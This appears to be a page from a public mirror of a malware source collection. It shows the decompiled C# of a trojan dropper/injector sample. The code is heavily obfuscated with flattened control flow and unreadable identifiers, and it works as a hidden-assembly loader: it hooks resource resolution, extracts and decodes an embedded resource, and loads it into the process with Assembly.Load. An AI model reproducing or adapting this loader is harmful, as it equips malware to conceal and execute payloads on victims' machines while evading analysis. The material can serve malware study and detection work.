mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
499 lines
13 KiB
C#
499 lines
13 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type:
|
|||
|
// Assembly: Msil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 592E0705-5FE3-456B-BE3B-BDC64BF0EA12
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.IO;
|
|||
|
using System.Reflection;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
internal sealed class \uE008
|
|||
|
{
|
|||
|
private static Assembly \uE000;
|
|||
|
private static object \uE001 = new object();
|
|||
|
private static int \uE002;
|
|||
|
private static string[] \uE003;
|
|||
|
|
|||
|
public static void \uE000()
|
|||
|
{
|
|||
|
if ((\uE008.\uE002 == 0 ? 0 : 1) != 0)
|
|||
|
return;
|
|||
|
try
|
|||
|
{
|
|||
|
Monitor.Enter(\uE008.\uE001);
|
|||
|
if ((\uE008.\uE002 == 0 ? 0 : 1) != 0)
|
|||
|
return;
|
|||
|
label_19:
|
|||
|
int num1 = -226195680;
|
|||
|
int num2 = -561798657;
|
|||
|
label_3:
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num2 ^= 555203725;
|
|||
|
label_11:
|
|||
|
int num3 = 968784119;
|
|||
|
int num4 = -376123481;
|
|||
|
label_5:
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num4 ^= 370221929;
|
|||
|
label_7:
|
|||
|
int num5 = 169643759;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num5 ^ 170977803)
|
|||
|
{
|
|||
|
case 2909411:
|
|||
|
label_8:
|
|||
|
num4 = -376123484;
|
|||
|
num5 = 169643758;
|
|||
|
continue;
|
|||
|
case 2909412:
|
|||
|
switch (num4 + 8000308)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_11;
|
|||
|
case 1:
|
|||
|
switch (num3)
|
|||
|
{
|
|||
|
case 1949493:
|
|||
|
label_14:
|
|||
|
num2 = -561798659;
|
|||
|
num3 = 968784118;
|
|||
|
goto label_4;
|
|||
|
case 1949494:
|
|||
|
switch (num2 + 7070352)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
switch (num1 + 5290868)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001);
|
|||
|
num1 = -226195679;
|
|||
|
goto label_2;
|
|||
|
case 1:
|
|||
|
goto label_22;
|
|||
|
default:
|
|||
|
goto label_18;
|
|||
|
}
|
|||
|
case 1:
|
|||
|
goto label_19;
|
|||
|
case 2:
|
|||
|
label_2:
|
|||
|
num1 ^= 220971948;
|
|||
|
goto label_14;
|
|||
|
default:
|
|||
|
num3 = 968784116;
|
|||
|
goto label_4;
|
|||
|
}
|
|||
|
case 1949495:
|
|||
|
goto label_3;
|
|||
|
default:
|
|||
|
goto label_13;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_4:
|
|||
|
num3 ^= 967034817;
|
|||
|
goto label_8;
|
|||
|
default:
|
|||
|
num5 = 169643752;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2909413:
|
|||
|
goto label_5;
|
|||
|
default:
|
|||
|
goto label_7;
|
|||
|
}
|
|||
|
}
|
|||
|
label_13:
|
|||
|
num4 = -376123483;
|
|||
|
}
|
|||
|
label_18:
|
|||
|
num2 = -561798660;
|
|||
|
}
|
|||
|
label_22:
|
|||
|
\uE008.\uE002 = 1;
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
Monitor.Exit(\uE008.\uE001);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public static string \uE000 => "4d63cfa9e78e1502";
|
|||
|
|
|||
|
public static Assembly \uE001(object _param0, ResolveEventArgs _param1)
|
|||
|
{
|
|||
|
if ((\uE008.\uE003 == null ? 0 : 1) == 0)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
Monitor.Enter(\uE008.\uE001);
|
|||
|
if ((\uE008.\uE003 == null ? 0 : 1) == 0)
|
|||
|
{
|
|||
|
label_15:
|
|||
|
int num1 = 1319863694;
|
|||
|
int num2 = -1247360233;
|
|||
|
label_3:
|
|||
|
Stream manifestResourceStream;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num2 ^= 1242423639;
|
|||
|
label_7:
|
|||
|
int num3 = 1536961512;
|
|||
|
int num4 = -942752411;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num4 ^ 946906395) + 4319108)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_7;
|
|||
|
case 1:
|
|||
|
switch (num3)
|
|||
|
{
|
|||
|
case 2222797:
|
|||
|
label_10:
|
|||
|
num2 = -1247360152;
|
|||
|
num3 = 1536961513;
|
|||
|
goto label_4;
|
|||
|
case 2222798:
|
|||
|
switch (num2 + 5559746)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_15;
|
|||
|
case 1:
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 3571212:
|
|||
|
manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000);
|
|||
|
num1 = 1319863695;
|
|||
|
goto label_2;
|
|||
|
case 3571213:
|
|||
|
if (manifestResourceStream != null)
|
|||
|
{
|
|||
|
num1 = 1319863692;
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_22;
|
|||
|
case 3571214:
|
|||
|
goto label_21;
|
|||
|
default:
|
|||
|
goto label_17;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_2:
|
|||
|
num1 ^= 1318976386;
|
|||
|
goto label_10;
|
|||
|
default:
|
|||
|
label_13:
|
|||
|
int num5 = 357788384;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num5 ^ 357216823)
|
|||
|
{
|
|||
|
case 1693911:
|
|||
|
num3 = 1536961515;
|
|||
|
num5 = 357788399;
|
|||
|
continue;
|
|||
|
case 1693912:
|
|||
|
goto label_4;
|
|||
|
default:
|
|||
|
goto label_13;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
case 2222799:
|
|||
|
goto label_3;
|
|||
|
default:
|
|||
|
num4 = -942752409;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_4:
|
|||
|
num3 ^= 1539162406;
|
|||
|
break;
|
|||
|
}
|
|||
|
num4 = -942752410;
|
|||
|
}
|
|||
|
label_17:
|
|||
|
num2 = -1247360151;
|
|||
|
}
|
|||
|
label_21:
|
|||
|
int num6 = 0;
|
|||
|
goto label_23;
|
|||
|
label_22:
|
|||
|
num6 = 1;
|
|||
|
label_23:
|
|||
|
if (num6 == 0)
|
|||
|
\uE008.\uE000 = \uE008.\uE002(manifestResourceStream);
|
|||
|
}
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
Monitor.Exit(\uE008.\uE001);
|
|||
|
}
|
|||
|
}
|
|||
|
return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null;
|
|||
|
}
|
|||
|
|
|||
|
private static Assembly \uE002(Stream _param0)
|
|||
|
{
|
|||
|
MemoryStream input = \uE010.\uE000(_param0);
|
|||
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|||
|
label_2:
|
|||
|
int num1 = -976949257;
|
|||
|
int length;
|
|||
|
int index;
|
|||
|
string[] strArray;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num1 ^ 979141528) + 6787986)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
strArray = new string[length];
|
|||
|
num1 = -976949272;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
length = binaryReader.ReadInt32();
|
|||
|
num1 = -976949258;
|
|||
|
continue;
|
|||
|
case 2:
|
|||
|
index = 0;
|
|||
|
num1 = -976949271;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
if (index != 0)
|
|||
|
{
|
|||
|
num1 = -976949270;
|
|||
|
continue;
|
|||
|
}
|
|||
|
goto label_9;
|
|||
|
case 4:
|
|||
|
goto label_8;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_8:
|
|||
|
int num2 = 0;
|
|||
|
goto label_10;
|
|||
|
label_9:
|
|||
|
num2 = 1;
|
|||
|
label_10:
|
|||
|
if (num2 != 0)
|
|||
|
goto label_12;
|
|||
|
label_11:
|
|||
|
strArray[index] = binaryReader.ReadString();
|
|||
|
++index;
|
|||
|
label_12:
|
|||
|
if ((index >= length ? 0 : 1) == 0)
|
|||
|
{
|
|||
|
\uE008.\uE003 = strArray;
|
|||
|
label_25:
|
|||
|
int num3 = -143477510;
|
|||
|
int num4 = -1430655755;
|
|||
|
label_15:
|
|||
|
byte[] numArray;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num4 ^= 1426872453;
|
|||
|
label_19:
|
|||
|
int num5 = -80790779;
|
|||
|
int num6 = -1051659499;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num6 ^ 1053901982) + 8276087)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_19;
|
|||
|
case 1:
|
|||
|
switch (num5 + 7895701)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
label_22:
|
|||
|
num4 = -1430655766;
|
|||
|
num5 = -80790780;
|
|||
|
goto label_16;
|
|||
|
case 1:
|
|||
|
switch (num4 + 4869010)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
goto label_25;
|
|||
|
case 1:
|
|||
|
int count;
|
|||
|
switch (num3 + 4299732)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
numArray = new byte[count];
|
|||
|
num3 = -143477511;
|
|||
|
goto label_14;
|
|||
|
case 1:
|
|||
|
binaryReader.Read(numArray, 0, count);
|
|||
|
num3 = -143477509;
|
|||
|
goto label_14;
|
|||
|
case 2:
|
|||
|
count = (int) (input.Length - input.Position);
|
|||
|
num3 = -143477512;
|
|||
|
goto label_14;
|
|||
|
case 3:
|
|||
|
goto label_31;
|
|||
|
default:
|
|||
|
goto label_27;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_14:
|
|||
|
num3 ^= 147640532;
|
|||
|
goto label_22;
|
|||
|
default:
|
|||
|
num5 = -80790782;
|
|||
|
goto label_16;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
goto label_15;
|
|||
|
default:
|
|||
|
num6 = -1051659497;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
label_16:
|
|||
|
num5 ^= 78167657;
|
|||
|
break;
|
|||
|
}
|
|||
|
num6 = -1051659500;
|
|||
|
}
|
|||
|
label_27:
|
|||
|
num4 = -1430655765;
|
|||
|
}
|
|||
|
label_31:
|
|||
|
return Assembly.Load(numArray);
|
|||
|
}
|
|||
|
goto label_11;
|
|||
|
}
|
|||
|
|
|||
|
private static bool \uE003(string _param0)
|
|||
|
{
|
|||
|
if ((\uE008.\uE003 == null ? 1 : 0) == 0)
|
|||
|
{
|
|||
|
label_6:
|
|||
|
int num1 = 1477415917;
|
|||
|
int num2 = 601725783;
|
|||
|
int index;
|
|||
|
string[] strArray;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num2 ^ 602759493)
|
|||
|
{
|
|||
|
case 3209744:
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 3757452:
|
|||
|
if (index != 0)
|
|||
|
{
|
|||
|
num1 = 1477415916;
|
|||
|
goto label_1;
|
|||
|
}
|
|||
|
else
|
|||
|
goto label_12;
|
|||
|
case 3757453:
|
|||
|
index = 0;
|
|||
|
num1 = 1477415919;
|
|||
|
goto label_1;
|
|||
|
case 3757454:
|
|||
|
strArray = \uE008.\uE003;
|
|||
|
num1 = 1477415918;
|
|||
|
goto label_1;
|
|||
|
case 3757455:
|
|||
|
goto label_11;
|
|||
|
default:
|
|||
|
num2 = 601725780;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 3209745:
|
|||
|
goto label_6;
|
|||
|
case 3209746:
|
|||
|
label_1:
|
|||
|
num1 ^= 1479984739;
|
|||
|
break;
|
|||
|
}
|
|||
|
num2 = 601725781;
|
|||
|
}
|
|||
|
label_11:
|
|||
|
int num3 = 0;
|
|||
|
goto label_13;
|
|||
|
label_12:
|
|||
|
num3 = 1;
|
|||
|
label_13:
|
|||
|
if (num3 != 0)
|
|||
|
goto label_27;
|
|||
|
label_14:
|
|||
|
string str = strArray[index];
|
|||
|
if ((!_param0.Equals(str) ? 1 : 0) == 0)
|
|||
|
{
|
|||
|
label_22:
|
|||
|
int num4 = -311275153;
|
|||
|
int num5 = 878119074;
|
|||
|
label_16:
|
|||
|
bool flag;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num5 ^= 880632524;
|
|||
|
label_18:
|
|||
|
int num6 = -433645422;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num6 ^ 431101690) + 7008665)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
label_19:
|
|||
|
num5 = 878119073;
|
|||
|
num6 = -433645421;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
switch (num5)
|
|||
|
{
|
|||
|
case 2779756:
|
|||
|
goto label_22;
|
|||
|
case 2779757:
|
|||
|
switch (num4 + 4671099)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
flag = true;
|
|||
|
num4 = -311275156;
|
|||
|
goto label_15;
|
|||
|
case 1:
|
|||
|
goto label_29;
|
|||
|
default:
|
|||
|
goto label_24;
|
|||
|
}
|
|||
|
case 2779758:
|
|||
|
label_15:
|
|||
|
num4 ^= 315287786;
|
|||
|
goto label_19;
|
|||
|
default:
|
|||
|
num6 = -433645411;
|
|||
|
continue;
|
|||
|
}
|
|||
|
case 2:
|
|||
|
goto label_16;
|
|||
|
default:
|
|||
|
goto label_18;
|
|||
|
}
|
|||
|
}
|
|||
|
label_24:
|
|||
|
num5 = 878119072;
|
|||
|
}
|
|||
|
label_29:
|
|||
|
return flag;
|
|||
|
}
|
|||
|
++index;
|
|||
|
label_27:
|
|||
|
if ((index >= strArray.Length ? 0 : 1) != 0)
|
|||
|
goto label_14;
|
|||
|
}
|
|||
|
return false;
|
|||
|
}
|
|||
|
}
|